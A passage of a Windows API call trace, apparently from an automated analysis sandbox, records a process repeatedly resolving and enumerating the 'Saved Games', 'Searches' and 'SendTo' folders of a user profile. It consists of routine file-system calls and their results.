lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.464] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.464] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.465] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.465] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.465] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.465] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.465] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.465] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.465] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.465] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.465] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.465] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.465] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.465] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.465] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.465] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.465] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.466] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.466] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.466] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.466] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.466] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0080.466] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\", lpFilePart=0x0) returned 0x2a [0080.466] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ea0 [0080.467] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.467] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.467] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0080.467] FindClose (in: hFindFile=0x1a578ea0 | out: hFindFile=0x1a578ea0) returned 1 [0080.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e940) returned 1 [0080.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e930) returned 1 [0080.468] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0080.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.469] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.469] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.469] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.469] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.469] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.469] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.469] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.469] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.469] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.469] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.469] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.469] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0080.469] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\", lpFilePart=0x0) returned 0x27 [0080.470] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ea0 [0080.470] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.470] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.470] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0080.471] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0080.471] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0080.471] FindClose (in: hFindFile=0x1a578ea0 | out: hFindFile=0x1a578ea0) returned 1 [0080.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e940) returned 1 [0080.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e930) returned 1 [0080.471] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0080.471] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.471] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.471] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.472] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.472] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.472] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.472] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.472] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.472] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.472] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.472] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.472] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.472] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.472] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.472] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.472] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.472] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.473] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.473] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.473] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS 